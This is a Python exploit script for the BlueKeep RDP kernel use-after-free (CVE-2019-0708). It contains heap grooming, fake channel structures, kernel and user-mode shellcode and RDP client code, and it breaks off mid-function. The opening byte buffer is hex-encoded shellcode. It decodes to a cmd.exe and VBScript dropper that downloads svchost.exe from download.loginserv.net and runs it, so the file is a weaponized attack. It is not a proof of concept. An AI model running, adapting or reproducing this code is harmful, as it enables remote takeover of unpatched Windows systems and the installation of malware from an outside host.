#!/usr/bin/env python3
import sys
import socket
from base64 import b64decode
import os
import sys
import struct
import socket
import hashlib
import binascii
import time
import sys
import struct
import socket
import ssl
import time
import binascii
import traceback
import argparse
import errno
import base64
import threading
import random
from Crypto.Cipher import ARC4
import ipaddress
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d"
buf += b"\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += b"\xff\xd5\x43\x3a\x5c\x57\x69\x6e\x64\x6f\x77\x73\x5c"
buf += b"\x53\x79\x73\x74\x65\x6d\x33\x32\x5c\x63\x6d\x64\x2e"
buf += b"\x65\x78\x65\x20\x2f\x43\x20\x63\x64\x20\x25\x74\x65"
buf += b"\x6d\x70\x25\x26\x65\x63\x68\x6f\x20\x53\x65\x74\x20"
buf += b"\x51\x3d\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63"
buf += b"\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e"
buf += b"\x58\x4d\x4c\x48\x54\x54\x50\x22\x29\x3a\x51\x2e\x4f"
buf += b"\x70\x65\x6e\x20\x22\x47\x45\x54\x22\x2c\x22\x68\x74"
buf += b"\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64"
buf += b"\x2e\x6c\x6f\x67\x69\x6e\x73\x65\x72\x76\x2e\x6e\x65"
buf += b"\x74\x2f\x73\x76\x63\x68\x6f\x73\x74\x2e\x65\x78\x65"
buf += b"\x22\x2c\x46\x61\x6c\x73\x65\x3a\x51\x2e\x53\x65\x6e"
buf += b"\x64\x3a\x53\x65\x74\x20\x42\x7a\x3d\x43\x72\x65\x61"
buf += b"\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x41\x44\x4f"
buf += b"\x44\x42\x2e\x53\x74\x72\x65\x61\x6d\x22\x29\x3a\x42"
buf += b"\x7a\x2e\x54\x79\x70\x65\x3d\x31\x3a\x42\x7a\x2e\x4f"
buf += b"\x70\x65\x6e\x3a\x42\x7a\x2e\x57\x72\x69\x74\x65\x20"
buf += b"\x51\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64"
buf += b"\x79\x3a\x42\x7a\x2e\x53\x61\x76\x65\x54\x6f\x46\x69"
buf += b"\x6c\x65\x20\x22\x59\x2e\x65\x78\x65\x22\x2c\x32\x3a"
buf += b"\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28"
buf += b"\x22\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c"
buf += b"\x6c\x22\x29\x2e\x52\x75\x6e\x20\x22\x59\x2e\x65\x78"
buf += b"\x65\x22\x3a\x20\x3e\x44\x4f\x2e\x76\x62\x73\x26\x73"
buf += b"\x74\x61\x72\x74\x20\x77\x73\x63\x72\x69\x70\x74\x20"
buf += b"\x44\x4f\x2e\x76\x62\x73\x00"
#!/usr/bin/env python3
# Improvement ideas:
# - can we use less channels for grooms?
# - should we send a multi-TPKT message during free, wrapping it with channels?
# - should we send a multi-TPKT message for egg grooms?
metadata = {
'name': 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
'description': '''
The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
allowing a malformed Disconnect Provider Indication message to cause use-after-free.
With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
the freed channel is used to achieve arbitrary code execution.
TargetAddr = GROOMBASE + (0x400 * 1024 * GROOMSIZE)
GROOMBASE examples:
- normal: 0xfffffa8002407000
- hotplug: 0xfffffa8012407000
- hyper-v: 0xfffffa8102407000
''',
'authors': [
'ryHanson',
'zerosum0x0'
],
'references': [
{'type': 'cve', 'ref': '2019-0708'},
{'type': 'url', 'ref': 'https://github.com/zerosum0x0/CVE-2019-0708'}
],
'date': 'May 14 2019',
'type': 'remote_exploit',
'rank': 'average',
'privileged': True,
'wfsdelay': 5,
'targets': [
{'platform': 'win', 'arch': 'x64'}
],
'options': {
'RHOST': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
'RPORT': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 3389},
'SSLVersion': {'type': 'string', 'description': 'SSL/TLS version', 'required': True, 'default': 'TLSv1'},
'GROOM' : {'type': 'string', 'description': 'type of groom', 'required': True, 'default': 'chunk'},
'GROOMWAITDELTA' : {'type': 'int', 'description': 'delta wait for grooming (crash avoidance)', 'required': True, 'default': 65},
'GROOMWAITMIN' : {'type': 'int', 'description': 'minimum to wait after grooming (crash avoidance)', 'required': True, 'default': 5},
'GROOMCHANNEL' : {'type': 'string', 'description': 'channel to groom (advanced)', 'required': True, 'default': 'RDPSND'},
'GROOMCHANNELCOUNT' : {'type': 'int', 'description': 'number of channels to groom (advanced)', 'required': True, 'default': 1},
'GROOMSIZE' : {'type': 'int', 'description': 'size of the groom in MB', 'required': True, 'default': 250},
'GROOMBASE' : {'type': 'int', 'description': 'target NPP start/base address (manual)', 'required': True, 'default': 0xfffffa8002407000} # = '0xfffffa8021807000'
#'GROOMSIZE' : {'type': 'int', 'description': 'size of the groom in MB', 'required': True, 'default': 200},
#'GROOMTARGET' : {'type': 'int', 'description': 'target address for shellcode', 'required': True, 'default': 0xfffffa8010000000}
# TODO: add advanced options to tune the groom parameters, etc.
},
'notes': {
'AKA': ['BlueKeep']
}
}
offsets = {
'Win7x64' :
{
'CHANNEL_JMP_ADDR' : 0x100,
}
}
'''
ba e 1 termdd!IcaChannelInputInternal+0x45d "r rax; g;"
bp rdpdr!VirtualChannel::SubmitClose
bp rdpdr!TSQueueWorker+0xa0 ".printf \"RDPDR poi(%p) == %p (%ly)\\n\", rbx, poi(rbx), poi(rbx); g"
bp rdpdr!TSQueueWorker+0x7e ".printf \"RDPDR->fnPtr = %ly\\n\", r11; g"
ba e 1 RDPWD!MCSIcaRawInputWorker ".printf \"RAW: %d\\n\", r8; db rdx rdx+r8; g"
'''
class GroomStrategy(object):
def __init__(self, client, args):
self.client = client
self.args = args
@staticmethod
def factory(client, args):
name = args['GROOM'].lower()
if name == 'frag':
return FragGroomStrategy(client, args)
elif name == 'chunk':
return ChunkGroomStrategy(client, args)
return None
def before_connect(self):
pass
def after_handshake(self):
pass
def trigger_free(self, send = True):
print_warning("<---------------- | Entering Danger Zone | ---------------->", self.args)
print_status("\tTriggering free!", self.args)
# malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)
pkt = b""
pkt += b"\x00\x00\x00\x00\x00\x00\x00\x00\x02" # offset +0x8 = opcode
pkt += b"\x00" * 0x22
mst120 = self.client.find_channel_by_name("MS_T120")
tpkt = self.client.make_channel_raw(mst120.channel_id, pkt, len(pkt), 3)
if send:
self.transport_write(tpkt)
return tpkt
def trigger_use(self):
print_status("\tTriggering use!", self.args)
print_warning("<---------------- | Leaving Danger Zone | ---------------->", self.args)
# Disconnect Provider Ultimatum will force use of channel
self.client.terminate_connection()
self.client.disconnect()
def generate_payloads(self, header_offset = 0x38):
for payload in self.payloads:
yield payload[header_offset:]
def make_channel(self, header_offset = 0x38):
return self.channel[header_offset:]
class FragGroomStrategy(GroomStrategy):
def before_connect(self):
# bind raw sock
pass
def after_handshake(self):
pass
def send_frag_packet(self, alloc_size):
pass
class ChunkGroomStrategy(GroomStrategy):
def __init__(self, client, args):
super(ChunkGroomStrategy, self).__init__(client, args)
# TODO: Find better address that works for both Win7 and 2008
self.pool_addr = int(args['GROOMBASE']) + (0x400 * 1024 * int(args['GROOMSIZE']))
self.args = args
def after_handshake(self):
fake_channel = self.create_fake_channel()
payloads = self.create_payloads()
vprint_status("Using CHUNK groom strategy. %dMB -> 0x%x" % (int(self.args['GROOMSIZE']), self.pool_addr), self.args)
#log(repr(payloads))
try:
start_id = 0x3ed
start = time.time()
max_channel = start_id + int(self.args['GROOMCHANNELCOUNT'])
channel_filler_tpkt = self.client.make_channel_raw(start_id, fake_channel, 0x0fffffff, 0)
# send initial grooms
self.client.transport_write(channel_filler_tpkt * 1024)
# send wrapped free trigger
trigger_tpkt = channel_filler_tpkt * 20
trigger_tpkt += self.trigger_free(False)
trigger_tpkt += channel_filler_tpkt * 80
#print_status(repr(trigger_tpkt))
self.client.transport_write(trigger_tpkt)
tpkts = b""
for i in range(0x40, 2048):
for id in range(start_id, max_channel):
tpkts += channel_filler_tpkt
if (len(tpkts) > 0x420):
self.client.transport_write(tpkts)
tpkts = b""
print_status_counter("\t\tSurfing channels...\t", i, 0x800, 0x40)
groomMB = int(self.args['GROOMSIZE'] * (1024 / len(payloads))) # 0x400 is 1kib
for i in range(0, groomMB):
tpkts = b""
for id in range(start_id, max_channel):
for payload in payloads:
tpkts += self.client.make_channel_raw(id, payload, 0x0fffffff, 0)
self.client.transport_write(tpkts)
if ((time.time() - start) + 1) % 10 == 0:
self.client.transport_write(b"\x04\x80\x0a\x20\x00\x08\xff\x03\x26\x01")
print_status_counter("\t\tLobbing eggs...\t\t", i, groomMB)
secs = int(self.args['GROOMWAITDELTA']) - (time.time() - start) + 1
gwm = int(self.args['GROOMWAITMIN'])
if secs < gwm:
secs = gwm
if secs > 0:
input_fpdu = b"\x04\x80\x0a\x20\x00\x08\xff\x03\x26\x01"
#print_sleep("\t\tWaiting a lil...\t", secs, self.client, input_fpdu)
self.trigger_use()
except socket.error as e:
if e.errno == errno.ECONNRESET:
print_bad("Connection reset: Groom failed! (Avoided crash... hopefully)", args)
else:
raise e
def create_fake_channel(self): #TODO: Integrate with base class make_channel
overspray_addr = self.pool_addr + 0x2000 # 0xfffffa801c902000
shellcode_vtbl = self.pool_addr + 0x48 # 0xfffffa801c900048
chan = b""
# first 0x38 bytes are used by DATA PDU packet
# fake channel starts at +0x38, which is +0x20 of an _ERESOURCE
chan += struct.pack('<Q', 0x00); # 0x38 00000020 SharedWaiters QWORD
chan += struct.pack('<Q', 0x00); # 0x40 00000028 ExclusiveWaiters QWORD
chan += struct.pack('<Q', overspray_addr+0x48) # 0x48 00000030 OwnerEntry _OWNER_ENTRY
chan += struct.pack('<Q', overspray_addr+0x48) # 0x50 00000038 OwnerEntry _OWNER_ENTRY
chan += struct.pack('<I', 0x00); # 0x58 00000040 ActiveEntries DWORD
chan += struct.pack('<I', 0x00); # 0x5c 00000044 ContentionCount DWORD
chan += struct.pack('<I', 0x00); # 0x60 00000048 NumberOfSharedWaiters DWORD
chan += struct.pack('<I', 0x00); # 0x64 0000004C NumberOfExclusiveWaiters DWORD
chan += struct.pack('<Q', 0x00); # 0x68 00000050 Reserved2 QWORD
chan += struct.pack('<Q', overspray_addr+0x48) # 0x70 00000058 Address QWORD / CreatorBackTraceIndex QWORD
chan += struct.pack('<Q', 0x00); # 0x78 00000060 SpinLock QWORD
# 00000080 resource2 _ERESOURCE
chan += struct.pack('<Q', overspray_addr+0x48) # 0x80 + 00000000 SystemResourcesList _LIST_ENTRY
chan += struct.pack('<Q', overspray_addr+0x48) # 0x80 + 00000008 SystemResourcesList _LIST_ENTRY
chan += struct.pack('<Q', 0x00); # 0x80 + 00000010 OwnerTable QWORD
chan += struct.pack('<H', 0x00); # 0x80 + 00000018 ActiveCount WORD
chan += struct.pack('<H', 0x00); # 0x80 + 0000001A Flag WORD
chan += struct.pack('<I', 0x00); # 0x80 + 0000001C Pad DWORD
chan += struct.pack('<Q', 0x00); # 0x80 + 00000020 SharedWaiters
chan += struct.pack('<Q', 0x00); # 0x80 + 00000028 ExclusiveWaiters QWORD
chan += struct.pack('<Q', overspray_addr+0x48) # 0x80 + 00000030 OwnerEntry _OWNER_ENTRY
chan += struct.pack('<Q', overspray_addr+0x48) # 0x80 + 00000038 OwnerEntry _OWNER_ENTRY
chan += struct.pack('<I', 0x00); # 0x80 + 00000040 ActiveEntries DWORD
chan += struct.pack('<I', 0x00); # 0x80 + 00000044 ContentionCount DWORD
chan += struct.pack('<I', 0x00); # 0x80 + 00000048 NumberOfSharedWaiters DWORD
chan += struct.pack('<I', 0x00); # 0x80 + 0000004C NumberOfExclusiveWaiters DWORD
chan += struct.pack('<Q', 0x00); # 0x80 + 00000050 Reserved2 QWORD
chan += struct.pack('<Q', overspray_addr+0x48) # 0x80 + 00000058 Address QWORD / CreatorBackTraceIndex QWORD
chan += struct.pack('<Q', 0x00); # 0x80 + 00000060 SpinLock QWORD
chan += struct.pack('<I', 0x1f); # 0xb0 000000E8 classOffset DWORD
chan += struct.pack('<I', 0x00); # 0xb4 000000EC bindStatus DWORD
chan += struct.pack('<Q', 0x72); # 0xb8 000000F0 lockCount1 QWORD
chan += struct.pack('<Q', overspray_addr+0x448) # 0xc0 000000F8 connection QWORD
chan += struct.pack('<Q', shellcode_vtbl) # 0xc8 00000100 shellcode vtbl QWORD
chan += struct.pack('<I', 0x05); # 0xd0 00000108 channelClass DWORD
chan += b"MS_T120\x00" # 0xd4 0000010C channelName CHAR[8]
chan += struct.pack('<I', 0x1f); # 0xdc 00000114 channelIndex DWORD
chan += struct.pack('<Q', overspray_addr+0x810) # 0xe0 00000118 channels QWORD
chan += struct.pack('<Q', overspray_addr+0x810) # 0xe8 00000120 connChannelsAddr QWORD
chan += struct.pack('<Q', overspray_addr+0x810) # 0xf0 00000128 list1 _LIST_ENTRY
chan += struct.pack('<Q', overspray_addr+0x810) # 0xf8 00000130 list1 _LIST_ENTRY
chan += struct.pack('<Q', overspray_addr+0x810) # 0x100 00000138 list2 _LIST_ENTRY
chan += struct.pack('<Q', overspray_addr+0x810) # 0x108 00000140 list2 _LIST_ENTRY
chan += struct.pack('<I', 0x65756c62); # 0x110 00000148 inputBufferLen DWORD
chan += struct.pack('<I', 0x7065656b); # 0x114 0000014C sysParams DWORD
chan += struct.pack('<Q', overspray_addr+0x810) # 0x118 00000150 connResource QWORD
chan += struct.pack('<I', 0x65756c62); # 0x120 00000158 lockCount158 DWORD
chan += struct.pack('<I', 0x7065656b); # 0x124 0000015C dword15C DWORD
return chan
def create_payloads(self, header_size = 0x48):
payloads = []
# TODO: don't hardcode eggs so bad?
kmode_egg = 0xb00dac0fefe42069
umode_egg = 0xb00dac0fefe31337
# len(kmode) == 873 (0x0369)
kmode = b""
#kmode += b"\xcc"
kmode += b"\x90"
kmode += b"\x90"
kmode += b"\x90"
kmode += b"\x90"
kmode += b"\x55\xe8\x61\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x5b\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00"
kmode += b"\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x65\x48\x8b\x04\x25\x88\x01\x00\x00"
kmode += b"\x66\x83\x80\xc4\x01\x00\x00\x01\x4c\x8d\x9c\x24\xb8\x00\x00\x00\x31\xc0\x49\x8b\x5b\x30\x49\x8b\x6b\x40\x49\x8b\x73\x48\x4c\x89"
kmode += b"\xdc\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5f\xc3\x48\xc7\xc5\x00\x41\xd0\xff\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65"
kmode += b"\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xd1\xff\xff\xff\x48\x8b\x45\x00\x48\x83"
kmode += b"\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00"
kmode += b"\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41"
kmode += b"\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1"
kmode += b"\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\x13\x01\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\x0e"
kmode += b"\x01\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09"
kmode += b"\x4d\x39\xc8\x0f\x84\xd8\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8"
kmode += b"\xcd\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x31\xc0\x48\x8d\x34\x19\x50\xe8\x03\x01\x00\x00\x3d\xd8\x83\xe0\x3e\x58\x74\x1e\x48\xff"
kmode += b"\xc0\x48\x3d\x00\x03\x00\x00\x75\x0a\x31\xc9\x88\x4d\xf8\xe9\x8e\x00\x00\x00\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xd0\xbf\x48\xb8\x18"
kmode += b"\xb8\xe8\x84\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e"
kmode += b"\x4c\xf8\xce\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00"
kmode += b"\x00\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc"
kmode += b"\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb"
kmode += b"\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00"
kmode += b"\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b"
kmode += b"\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca"
kmode += b"\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f"
kmode += b"\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57"
kmode += b"\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x6d\x48\x8b\x3e\x57\x48\x8d\x35\x28\xfd\xff\xff\x48\xbf\x37\x13\xe3\xef\x0f\xac"
kmode += b"\x0d\xb0\x48\x81\xee\x00\x04\x00\x00\x48\x8b\x46\xf8\x48\x39\xf8\x75\xf0\x48\xff\xc6\x48\x8b\x46\xf8\x48\x39\xf8\x75\xf4\x5f\xb9"
kmode += b"\x80\x03\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50"
kmode += b"\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\xfa\xfe\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1"
kmode += b"\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83"
kmode += b"\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3"
umode = b'H\x8d\r\xf9\xff\xff\xffI\xb8i \xe4\xef\x0f\xac\r\xb0H\x81\xe9\x00\x04\x00\x00H\x8bQ\xf8L9\xc2u\xf0\xff\xe1'
umode += struct.pack('<Q', umode_egg) # umode requires two eggs for variable eggfinder gadget
umode += buf
payloads.append(self.create_shellcode(buf, kmode_egg, header_size))
payloads.append(self.create_shellcode(buf, umode_egg, header_size))
open('kernel.python', 'wb').write(payloads[0])
open('user.python', 'wb').write(payloads[1]);
return payloads
def create_shellcode(self, payload, egg = 0xb00dac0fefe42069, header_size = 0x48): #TODO: Integrate with base class generate payloads
max_size = 0x400 - header_size
p = b""
# This vtable should land at address: pool_addr+0x48
# First entry is a ptr to shellcode : pool_addr+0x50
#p += struct.pack('<Q', self.pool_addr+0x50)
p += struct.pack('<Q', self.pool_addr + header_size + 0x10) # indirect call gadget, over this pointer + egg
p += struct.pack('<Q', egg)
p += payload
p += b"\x00" * (max_size - len(p))
return p
'''
Generic RDP channel that can recv and send messages
'''
class RdpChannel(object):
def __init__(self, name, flags = 0x80000000):
self.name = name
self.flags = flags
# kludges
self.channel_id = -1
self.client = None
def on_data_received(self, client, data, flags, full_pkt):
self.client.print_func("[%s] Recv data (%d): %s" % (self.name, len(data), binascii.hexlify(data)[0:50]))
def send_message(self, data):
self.client.print_func("[%s] Send message (%d): %s" % (self.name, len(data), binascii.hexlify(data)[0:50]))
self.client.send_channel_message(self.channel_id, data)
def send_raw(self, data, total_length, flags = 0):
self.client.print_func("[%s] Send raw (%d): %s" % (self.name, len(data), binascii.hexlify(data)[0:50]))
self.client.send_channel_raw(self.channel_id, data, total_length, flags)
'''
A custom RDPDR client implementation that runs the primary exploit
'''
class ExploitRdpdrChannel(RdpChannel):
def __init__(self, groom_strategy):
super(ExploitRdpdrChannel, self).__init__("rdpdr", 0x80800000)
self.groom_strategy = groom_strategy
def on_data_received(self, client, data, flags, full_pkt):
super(ExploitRdpdrChannel, self).on_data_received(client, data, flags, full_pkt)
ctyp = struct.unpack("<H", data[0:2])[0]
if ctyp != 0x4472: # Header->RDPDR_CTYP_CORE = 0x4472
return
# opcodes = https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/29d4108f-8163-4a67-8271-e48c4b9c2a7c
opcode = struct.unpack("<H", data[2:4])[0]
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/7500118a-c1f2-45ff-a67e-a09682940402
if opcode == 0x496e: # Server Device Announce Response
self.client.print_func("[rdpdr] Header->PAKID_CORE_SERVER_ANNOUNCE = 0x496e")
#vprint_status("Got RDPDR announce.")
self.send_message(self.rdpdr_client_announce_reply())
self.send_message(self.rdpdr_client_name_request())
elif opcode == 0x5350:
self.client.print_func("[rdpdr] Header->PAKID_CORE_SERVER_CAPABILITY = 0x5350")
reply = data[:3] + b"\x43" + data[4:] # for this, we change opcode 1 byte to match server capabilities. (0x4350)
self.send_message(reply)
elif opcode == 0x4343: # Server Client ID confirm
self.client.print_func("[rdpdr] Header->PAKID_CORE_CLIENTID_CONFIRM = 0x4343")
self.send_message(self.rdpdr_client_device_list_announce_request())
# Groom the pool!
#vprint_status("Completed RDPDR handshake!")
self.groom_strategy.after_handshake()
else:
self.client.print_func("[rdpdr] unknown opcode (%04x)" % (opcode))
#sys.exit(0)
# rdpdr closes channel on us if first packet is invalid, this one allows arbitrary size
#p = b""
#p += b"\x72\x44" # Header->RDPDR_CTYP_CORE = 0x4472
#p += b"\x4d\x44" # Header->PAKID_CORE_DEVICELIST_REMOVE = 0x444d
#p += b"\xff\xff\xff\x00" # size in bytes * 4
#p += b"\x01\x00\x00\x00"
#for id in range(0x3ec, 0x3f0):
# self.client.send_channel_raw(id, p, 0x0fffffff, 1) #
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/d6fe6d1b-c145-4a6f-99aa-4fe3cdcea398
# DR_CORE_CLIENT_ANNOUNCE_RSP
def rdpdr_client_announce_reply(self):
p = b""
p += b"\x72\x44" # Header->RDPDR_CTYP_CORE = 0x4472
p += b"\x43\x43" # Header->PAKID_CORE_CLIENTID_CONFIRM = 0x4343
p += b"\x01\x00" # VersionMajor = 0x0001
p += b"\x0c\x00" # VersionMinor = 0x000c
p += b"\x02\x00\x00\x00" # ClientId = 0x00000002
return p
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/902497f1-3b1c-4aee-95f8-1668f9b7b7d2
# DR_CORE_CLIENT_NAME_REQ
def rdpdr_client_name_request(self):
p = b""
p += b"\x72\x44" # Header->RDPDR_CTYP_CORE = 0x4472
p += b"\x4e\x43" # Header->PAKID_CORE_CLIENT_NAME = 0x434e
p += b"\x01\x00\x00\x00" # UnicodeFlag = 0x00000001
p += b"\x00\x00\x00\x00" # CodePage = 0x00000000
p += b"\x0e\x00\x00\x00" # ComputerNameLen = 0x0000001e (30)
p += b"\x65\x00\x74\x00\x68\x00\x64\x00\x65\x00\x76\x00\x00\x00" # TODO: randomize
return p
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/10ef9ada-cba2-4384-ab60-7b6290ed4a9a
# DR_CORE_DEVICELIST_ANNOUNCE_REQ
def rdpdr_client_device_list_announce_request(self):
return b"\x72\x44\x41\x44\x00\x00\x00\x00"
def rdpdr_client_device_list_remove(self):
p = b""
p += b"\x72\x44" # Header->RDPDR_CTYP_CORE = 0x4472
p += b"\x4d\x44" # Header->PAKID_CORE_DEVICELIST_REMOVE = 0x444d
p += b"\xff\xff\xff\x01" # size in bytes * 4
p += b"\x01\x00\x00\x00"
return p
class RdpClient(object):
def __init__(self, args, host, port, protocol, print_func, timeout = 35.0):
self.host = host
self.port = port
self.protocol = protocol
self.timeout = timeout
self.channels = []
self.print_func = print_func
self.sock = None
self.args = args
def add_channel(self, channel):
if self.find_channel_by_name(channel.name) != None:
return
channel.channel_id = 1004 + len(self.channels)
channel.client = self
self.print_func("[%s] Assigned to %d" % (channel.name, channel.channel_id), self.args)
self.channels.append(channel)
def find_channel_by_name(self, name):
name = name.lower()
for channel in self.channels:
if channel.name.lower() == name:
return channel
return None
def find_channel_by_id(self, id):
start = 1004
if len(self.channels) == 0 or id < start or id > start + len(self.channels):
return None
return self.channels[id - start]
def connect(self):
self._create_socket()
vprint_status("Socket connection established.", self.args)
self.send_client_data()
self.send_channel_packets()
self.send_client_info()
self.recv_packet() # Server License Error PDU
# TODO: handle license packet for server 2008 RDS
self.recv_packet() # Server Demand Active PDU
self.send_confirm_active()
self.send_establish_session()
print_good("Completed RDP handshake!", self.args)
while self.sock != None:
pkt = self.recv_packet()
self._handle_packet(pkt)
def disconnect(self):
if self.sock != None:
#self.sock.shutdown(socket.SHUT_RDWR)
self.sock.close()
self.sock = None
def transport_write(self, pkt):
#self.print_func("[RdpClient] _transport_write(%d): %s" % (len(pkt), binascii.hexlify(pkt[0:50])))
self.tls.sendall(pkt)
def _handle_packet(self, pkt):
if pkt[0] == 0x3 or pkt[0] == '\x03':
self._handle_tpkt(pkt)
else:
pass
def _handle_tpkt(self, pkt):
if pkt[4:7] != b"\x02\xf0\x80":
return
if pkt[7] == 0x68 or pkt[7] == '\x68':
user = pkt[8:10]
channel_id = struct.unpack(">H", pkt[10:12])[0]
channel = self.find_channel_by_id(channel_id)
if channel == None:
return
flags = pkt[18:22]
data = pkt[22:]
channel.on_data_received(self, data, flags, pkt)
def _create_socket(self):
self.sock = socket.create_connection((self.host, self.port), self.timeout)
#self.sock.settimeout(self.timeout)
context = ssl._create_unverified_context(protocol = self.protocol) # allow certificate errors!
self.sock.sendall(self.build_negotiate_request())
self.sock.recv(8192)
self.tls = context.wrap_socket(self.sock, server_hostname=self.host)
def recv_packet(self):
''' throws socket.timeout '''
hdr = self.recv_raw(4)
#print_good(repr(hdr))
if hdr[0] == 0x3 or hdr[0] == '\x03':
